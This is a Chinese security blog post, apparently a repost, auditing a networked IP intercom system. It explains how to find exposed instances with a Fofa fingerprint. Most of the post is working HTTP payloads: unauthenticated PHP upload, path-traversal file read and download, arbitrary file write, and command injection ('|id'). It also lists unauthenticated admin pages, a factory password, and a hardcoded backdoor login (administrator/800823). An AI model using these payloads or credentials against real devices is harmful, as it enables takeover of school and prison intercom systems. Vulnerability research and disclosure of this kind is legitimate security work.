SOAP IP网络对讲设备审计

admin 2023年3月12日22:12:21评论4 views字数 4300阅读14分20秒阅读模式

0x00 前言

在校园实战环境中有概率碰见这套IP网络对讲设备系统 从而达到渗透目标.

Fofadock:"vendors/toastr-master/build/toastr.min.js"

0x01 前台任意文件上传

上传点1

定位到几处文件上传操作:

/upload/my_parser.php

SOAP IP网络对讲设备审计

Payload:  生成的文件.[/upload/files/info.php]

POST /upload/my_parser.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 216
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTj3WLQhN3ZSs0CAg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/upload/my_parser.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--

SOAP IP网络对讲设备审计

上传点2

/php/addscenedata.php

SOAP IP网络对讲设备审计

Payload: 生成的文件.[/images/scene/info.php]

POST /php/addscenedata.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 216
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRdOoAbqBRCt5Bgzj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/php/addscenedata.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--

SOAP IP网络对讲设备审计

嫌麻烦的话可以直接访问 /upload/upload.html 上传 (/upload/files/info.php)

SOAP IP网络对讲设备审计

0x02 前台任意文件读取

读取点1

定位到一处文件读取操作.

SOAP IP网络对讲设备审计

SOAP IP网络对讲设备审计

Payload:

POST /php/getjson.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 42
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/php/getjson.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

jsondata[filename]=../php/test.php

SOAP IP网络对讲设备审计

读取点2

/php/rj_get_token.php

SOAP IP网络对讲设备审计

Payload:

POST /php/rj_get_token.php HTTP/1.1

jsondata
=test.php

SOAP IP网络对讲设备审计

利用Php伪协议读取文件:

POST /php/rj_get_token.php HTTP/1.1

jsondata
=php://filter/read=convert.base64-encode/resource=backup.php

SOAP IP网络对讲设备审计

0x03 前台任意命令执行

定位到一处命令执行.

SOAP IP网络对讲设备审计

SOAP IP网络对讲设备审计

Payload:

POST /php/ping.php HTTP/1.1

jsondata[type]=0&jsondata[ip]=|id

SOAP IP网络对讲设备审计

0x04 前台任意文件写入

定位到一处文件操作

SOAP IP网络对讲设备审计

SOAP IP网络对讲设备审计

Payload:

POST /php/uploadjson.php HTTP/1.1

jsondata[filename]=../ppp.php&jsondata[data]=123

SOAP IP网络对讲设备审计

0x05 前台任意文件下载

定位到三处文件读取操作 十分可疑.

SOAP IP网络对讲设备审计

SOAP IP网络对讲设备审计

GET传入downname即可下载任意文件.

Payload:/php/exportrecord.php?downname=test.php

SOAP IP网络对讲设备审计

0x06 未授权访问

智慧监狱

访问 /prison/index.html 进入

SOAP IP网络对讲设备审计

系统维护

访问 /html/system.html进入

SOAP IP网络对讲设备审计

厂家维护

访问 /html/factory.html 进入 pass:Rdc070#*

SOAP IP网络对讲设备审计

0x07 后门管理员账户

在 /js/index.js | /php/login.php 中放置了后门账户 可导致恶意登录

administrator 800823

<?php
require_once ('conversion.php');

$postData = $_POST['jsondata'];
$arr['res'] = 0;

if (isset($postData['username'])) {
$user = $postData['username'];
$pass = $postData['password'];

if ('800823' == $pass && 'administrator' == $user)
{
$arr['username'] = 'administrator';
$arr['password'] = '800823';
$arr['display'] = 'administrator';
$arr['modules'] = '1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1';
$arr['rights'] = '*';
$arr['serverrights'] = '*';
$arr['isadmin'] = '1';
$arr['bindterminals'] = '';
$arr['res'] = 1;
$arr['mainurl'] = 'main';
$arr['token'] = 'SESSION';
echo JSON($arr);
}
else
{
$result = UdpSendAndRecvJson($postData, "login");
echo $result;
}
}
?>
var user = $('#tbuser').val();
var passwd = $('#tbpass').val();
var isencrypted = "0";
if (user == "administrator" && passwd == "800823") {
isencrypted = "0";
} else {
var b = new SPON_Base64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="); //标准base64
passwd = b.encode(passwd).split("").reverse().join(""); //反转
isencrypted = "1";
}


回顾:

小皮Phpstudy面板1Click RCE

记一次edu逻辑漏洞挖掘--从无到有


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任!!!

原文始发于微信公众号(星悦安全):SOAP IP网络对讲设备审计

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日22:12:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  SOAP IP网络对讲设备审计 http://cn-sec.com/archives/1598241.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: